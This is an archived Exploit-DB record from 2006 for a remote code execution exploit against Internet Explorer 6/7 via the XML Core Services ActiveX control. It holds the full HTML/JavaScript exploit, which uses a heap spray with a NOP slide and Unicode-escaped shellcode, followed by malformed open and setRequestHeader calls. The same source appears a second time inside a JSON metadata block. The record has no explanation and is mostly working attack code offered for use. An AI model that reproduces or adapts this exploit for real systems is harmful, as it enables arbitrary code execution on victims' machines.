ID EDB-ID:2749
Type exploitdb
Reporter ~Fyodor
Modified 2006-11-10T00:00:00
Description
MS Internet Explorer 6/7 (XML Core Services) Remote Code Exec Exploit 2. Remote exploit for windows platform
<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<script>
var heapSprayToAddress = 0x05050505;
var payLoadCode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
</script>
<script>
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u9090%u9090");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
</script>
<object id=target classid="CLSID:88d969c5-f192-11d4-a65f-0040963251e5" >
</object>
<script>
var obj = null;
obj = document.getElementById('target').object;
try {
obj.open(new Array(),new Array(),new Array(),new Array(),new Array());
} catch(e) {};
obj.open(new Object(),new Object(),new Object(),new Object(), new Object());
obj.setRequestHeader(new Object(),'......');
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
</script>
</body></html>
# milw0rm.com [2006-11-10]
{"bulletinFamily": "exploit", "id": "EDB-ID:2749", "cvelist": [], "modified": "2006-11-10T00:00:00", "lastseen": "2016-01-31T16:57:34", "edition": 1, "sourceData": "<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<body>\n<script>\n\tvar heapSprayToAddress = 0x05050505;\n\n\tvar payLoadCode = unescape(\"%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063\");\n</script>\n<script>\n\tvar heapBlockSize = 0x400000;\n\n\tvar payLoadSize = payLoadCode.length * 2;\n\n\tvar spraySlideSize = heapBlockSize - (payLoadSize+0x38);\n\n\tvar spraySlide = unescape(\"%u9090%u9090\");\n\tspraySlide = getSpraySlide(spraySlide,spraySlideSize);\n\n\theapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;\n\n\tmemory = new Array();\n\n\tfor (i=0;i<heapBlocks;i++)\n\t{\n\t\tmemory[i] = spraySlide + payLoadCode;\n\t}\n\n\n\n\tfunction getSpraySlide(spraySlide, spraySlideSize)\n\t{\n\t\twhile (spraySlide.length*2<spraySlideSize)\n\t\t{\n\t\t\tspraySlide += spraySlide;\n\t\t}\n\t\tspraySlide = spraySlide.substring(0,spraySlideSize/2);\n\t\treturn spraySlide;\n\t}\n\n</script>\n<object id=target classid=\"CLSID:88d969c5-f192-11d4-a65f-0040963251e5\" >\n</object>\n<script>\nvar obj = null;\n\nobj = document.getElementById('target').object;\n\ntry {\nobj.open(new Array(),new Array(),new Array(),new Array(),new Array());\n} catch(e) {};\n\nobj.open(new Object(),new Object(),new Object(),new Object(), new Object()); \n\nobj.setRequestHeader(new Object(),'......');\nobj.setRequestHeader(new Object(),0x12345678);\nobj.setRequestHeader(new Object(),0x12345678);\nobj.setRequestHeader(new Object(),0x12345678);\nobj.setRequestHeader(new Object(),0x12345678);\nobj.setRequestHeader(new Object(),0x12345678);\nobj.setRequestHeader(new Object(),0x12345678);\nobj.setRequestHeader(new Object(),0x12345678);\nobj.setRequestHeader(new Object(),0x12345678);\nobj.setRequestHeader(new Object(),0x12345678);\nobj.setRequestHeader(new Object(),0x12345678);\nobj.setRequestHeader(new Object(),0x12345678);\n\n</script>\n\n\n</body></html>\n\n# milw0rm.com [2006-11-10]\n", "published": "2006-11-10T00:00:00", "href": "https://www.exploit-db.com/exploits/2749/", "osvdbidlist": [], "reporter": "~Fyodor", "hash": "b39fb0cd75f5931cbba6984e8f220c503f53c6873c12aa6691cb524d9d84795f", "title": "Microsoft Internet Explorer 6/7 XML Core Services Remote Code Execution Exploit 2", "history": [], "type": "exploitdb", "objectVersion": "1.0", "description": "MS Internet Explorer 6/7 (XML Core Services) Remote Code Exec Exploit 2. Remote exploit for windows platform", "references": [], "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/2749/", "enchantments": {"vulnersScore": 7.5}}
{"result": {}}